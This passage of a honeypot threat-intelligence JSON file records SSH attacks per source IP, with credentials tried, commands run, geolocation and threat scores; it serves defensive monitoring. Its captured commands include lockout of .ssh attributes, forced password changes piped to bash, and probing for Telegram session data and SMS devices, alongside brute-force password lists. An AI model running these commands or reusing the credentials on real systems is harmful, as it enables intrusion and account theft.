        "Cowrie": 193,
        "Suricata": 119
      }
    },
    "101.36.108.213": {
      "attack_count": 149,
      "first_seen": "2026-05-28T10:02:15.220Z",
      "last_seen": "2026-05-28T10:32:22.081Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "botuser",
        "345gs5662d34",
        "automation",
        "cesar",
        "dragon",
        "git",
        "hik",
        "jay",
        "mpiuser",
        "user13"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin$2025",
        "Automation123!",
        "Hik@2022",
        "Ubuntu2023",
        "cesar",
        "dragon",
        "fjbdfdjkdsfs541544",
        "gitgitgit",
        "jay",
        "musa",
        "qweasd",
        "ucloud.cn",
        "user13",
        "zaq1xsw2cde3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nWPcoCG0EDEY3\\nWPcoCG0EDEY3\\n\"|passwd",
        "echo -e \"123\\nWPcoCG0EDEY3\\nWPcoCG0EDEY3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:02:15.220000+00:00",
        "last_seen_30d": "2026-05-28T10:33:28.477000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "119.100.111.36": {
      "attack_count": 148,
      "first_seen": "2026-05-18T22:05:46.682Z",
      "last_seen": "2026-05-19T06:18:13.847Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:05:46.682000+00:00",
        "last_seen_30d": "2026-05-19T06:19:23.995000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 76
      }
    },
    "45.148.10.240": {
      "attack_count": 128,
      "first_seen": "2026-05-31T23:07:17.024Z",
      "last_seen": "2026-05-31T23:46:22.603Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ubuntu",
        "funded"
      ],
      "passwords_attempted": [
        "solana",
        "funded",
        "root",
        "sol",
        "123",
        "123321",
        "Password",
        "firedancer",
        "pass",
        "password.",
        "raydium",
        "sol123",
        "sol@123",
        "solana123",
        "solana@",
        "ubuntu",
        "validator",
        "xxx"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T23:06:27.328000+00:00",
        "last_seen_30d": "2026-05-31T23:47:23.684000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 58
      }
    },
    "34.76.98.114": {
      "attack_count": 72,
      "first_seen": "2026-05-13T03:59:33.703Z",
      "last_seen": "2026-05-13T04:00:30.307Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8731",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:59:33.703000+00:00",
        "last_seen_30d": "2026-05-13T04:01:40.192000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.77.148.189": {
      "attack_count": 72,
      "first_seen": "2026-05-07T09:21:41.348Z",
      "last_seen": "2026-05-07T09:22:15.703Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9330",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T09:21:41.348000+00:00",
        "last_seen_30d": "2026-05-07T09:23:25.753000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "74.208.91.1": {
      "attack_count": 60,
      "first_seen": "2026-05-04T20:18:17.561Z",
      "last_seen": "2026-05-27T16:37:35.614Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:18:17.561000+00:00",
        "last_seen_30d": "2026-05-27T16:38:43.639000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "115.55.63.180": {
      "attack_count": 50,
      "first_seen": "2026-05-26T00:49:28.517Z",
      "last_seen": "2026-05-26T00:54:52.986Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T00:49:28.517000+00:00",
        "last_seen_30d": "2026-05-26T00:55:59.377000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.171.93": {
      "attack_count": 50,
      "first_seen": "2026-05-27T18:28:36.451Z",
      "last_seen": "2026-05-27T18:34:07.611Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:28:36.451000+00:00",
        "last_seen_30d": "2026-05-27T18:35:08.931000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.112.62.144": {
      "attack_count": 48,
      "first_seen": "2026-05-14T11:51:04.411Z",
      "last_seen": "2026-05-31T22:48:20.682Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 150156,
      "as_org": "99IT",
      "threat_score": 44.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T11:51:04.411000+00:00",
        "last_seen_30d": "2026-05-31T22:49:28.076000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "103.79.244.210": {
      "attack_count": 48,
      "first_seen": "2026-05-11T01:24:14.681Z",
      "last_seen": "2026-05-27T10:44:10.731Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150949,
      "as_org": "PT RumahNET Internusa",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:24:14.681000+00:00",
        "last_seen_30d": "2026-05-27T10:45:11.214000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "222.102.21.104": {
      "attack_count": 37,
      "first_seen": "2026-05-24T17:22:38.375Z",
      "last_seen": "2026-05-24T17:23:27.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goheung-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:22:38.375000+00:00",
        "last_seen_30d": "2026-05-24T17:24:35.916000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "168.220.237.171": {
      "attack_count": 24,
      "first_seen": "2026-05-28T08:29:48.840Z",
      "last_seen": "2026-05-28T20:16:28.723Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "dev"
      ],
      "passwords_attempted": [
        "1",
        "111111",
        "123",
        "123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c",
        "cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 151734,
      "as_org": "WEBYNE DATA CENTRE PRIVATE LIMITED",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T08:29:48.840000+00:00",
        "last_seen_30d": "2026-05-28T20:17:37.956000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "91.107.243.87": {
      "attack_count": 20,
      "first_seen": "2026-05-22T03:48:44.089Z",
      "last_seen": "2026-05-22T03:50:28.489Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 5.0,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 6,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:48:44.089000+00:00",
        "last_seen_30d": "2026-05-27T00:26:20.569000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 16
      }
    },
    "27.16.212.21": {
      "attack_count": 18,
      "first_seen": "2026-05-19T18:23:12.852Z",
      "last_seen": "2026-05-19T19:01:51.508Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:23:12.852000+00:00",
        "last_seen_30d": "2026-05-19T19:02:54.743000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "2.57.122.191": {
      "attack_count": 16,
      "first_seen": "2026-05-06T10:02:34.716Z",
      "last_seen": "2026-05-11T19:04:25.340Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:02:34.716000+00:00",
        "last_seen_30d": "2026-05-11T19:05:33.198000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "66.132.195.41": {
      "attack_count": 16,
      "first_seen": "2026-05-14T18:31:49.472Z",
      "last_seen": "2026-05-15T01:50:30.036Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T14:20:35+00:00",
        "last_seen_30d": "2026-05-31T01:24:58.560000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 58,
        "Cowrie": 16,
        "Miniprint": 7
      }
    },
    "199.195.249.83": {
      "attack_count": 12,
      "first_seen": "2026-05-30T18:01:27.877Z",
      "last_seen": "2026-05-31T05:42:22.998Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T18:01:27.877000+00:00",
        "last_seen_30d": "2026-05-31T05:43:32.518000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "160.119.76.59": {
      "attack_count": 11,
      "first_seen": "2026-05-28T12:04:51.680Z",
      "last_seen": "2026-05-28T14:07:14.751Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7144,
        "days_active_30d": 1,
        "ports_targeted_30d": 1558,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-28T12:01:21+00:00",
        "last_seen_30d": "2026-05-28T16:00:54.296000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4599,
        "Honeytrap": 2487,
        "Dionaea": 19,
        "ConPot": 15,
        "Cowrie": 11,
        "Redishoneypot": 6,
        "Tanner": 5,
        "Dicompot": 1,
        "Miniprint": 1
      }
    },
    "208.58.104.145": {
      "attack_count": 10,
      "first_seen": "2026-05-21T08:54:18.303Z",
      "last_seen": "2026-05-21T09:02:24.966Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ridley Park",
      "asn": 6079,
      "as_org": "RCN",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:40:46.160000+00:00",
        "last_seen_30d": "2026-05-21T09:03:34.792000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "34.62.224.182": {
      "attack_count": 10,
      "first_seen": "2026-05-13T07:01:50.869Z",
      "last_seen": "2026-05-13T07:01:57.832Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T07:01:50.869000+00:00",
        "last_seen_30d": "2026-05-13T07:03:03.200000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "23.95.100.174": {
      "attack_count": 9,
      "first_seen": "2026-05-12T11:30:09.157Z",
      "last_seen": "2026-05-12T11:31:52.937Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "toor"
      ],
      "commands_executed": [
        "sh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:30:09.157000+00:00",
        "last_seen_30d": "2026-05-12T11:33:02.395000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 2
      }
    },
    "179.42.124.64": {
      "attack_count": 8,
      "first_seen": "2026-05-24T07:22:19.256Z",
      "last_seen": "2026-05-24T07:30:21.314Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Gua\u00edba",
      "asn": 271206,
      "as_org": "Ch Informatica Ltda",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:22:19.256000+00:00",
        "last_seen_30d": "2026-05-24T16:35:14.001000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "190.193.17.41": {
      "attack_count": 8,
      "first_seen": "2026-05-24T19:18:04.023Z",
      "last_seen": "2026-05-24T19:27:33.895Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Salta",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:18:04.023000+00:00",
        "last_seen_30d": "2026-05-29T11:33:38.699000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "201.238.33.203": {
      "attack_count": 8,
      "first_seen": "2026-05-20T07:46:12.709Z",
      "last_seen": "2026-05-20T08:58:38.548Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
